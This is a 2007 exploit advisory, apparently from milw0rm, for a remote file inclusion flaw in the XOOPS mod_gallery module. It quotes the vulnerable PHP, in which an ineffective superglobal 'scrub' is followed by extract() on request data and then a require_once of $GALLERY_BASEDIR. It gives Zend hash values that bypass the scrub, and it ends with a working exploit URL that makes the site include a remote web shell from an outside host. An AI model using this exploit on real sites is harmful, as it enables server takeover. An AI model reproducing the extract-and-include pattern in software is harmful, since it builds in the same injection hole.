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2 KiB
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61 lines
No EOL
2 KiB
Text
----[ XOOPS mod_gallery Zend_Hash_key + Extract RFI ... ITDefence.ru Antichat.ru ]
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XOOPS mod_gallery Zend_Hash_key + Extract REMOTE FILE INCLUDE
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Eugene Minaev underwater@itdefence.ru
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___________________________________________________________________
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____/ __ __ _______________________ _______ _______________ \ \ \
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/ .\ / /_// // / \ \/ __ \ /__/ /
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/ / /_// /\ / / / / /___/
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\/ / / / / /\ / / /
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/ / \/ / / / / /__ //\
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\ / ____________/ / \/ __________// /__ // /
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/\\ \_______/ \________________/____/ 2007 /_//_/ // //\
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\ \\ // // /
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.\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .
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. \_\\________[________________________________________]_________//_//_/ . .
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Bug works only with register_globals = OFF . I find their security fix very fun , and you ? : )
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<?php
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/* Begin Security Fix */
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$scrubList = array('HTTP_GET_VARS', 'HTTP_POST_VARS', 'HTTP_COOKIE_VARS', 'HTTP_POST_FILES');
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foreach ($scrubList as $outer)
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{
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foreach ($scrubList as $inner)
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{
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if (isset(${$outer}[$inner]))
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{
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unset(${$outer}[$inner]);
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}
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}
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}
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....some php code...
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/* End Security Fix */
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extract($_GET);
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extract($_POST);
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extract($_COOKIE);
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?>
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Hah .. very serious security fix , yeah :)
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<?php
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if (substr(PHP_OS, 0, 3) == 'WIN') {
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require_once($GALLERY_BASEDIR . "platform/fs_win32.php");
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} else {
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require_once($GALLERY_BASEDIR . "platform/fs_unix.php");
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}
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?>
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zend_hash_key_calc.exe GALLERY_BASEDIR
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GALLERY_BASEDIR
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PHP5 hash: -2093085906
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PHP4 hash: -995617320
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test.ru/xoopsgallery/init_basic.php?GALLERY_BASEDIR=http://path/to/m0nzt3r_shell.txt?&2093085906=1&995617320=2
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----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]
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# milw0rm.com [2008-01-06] |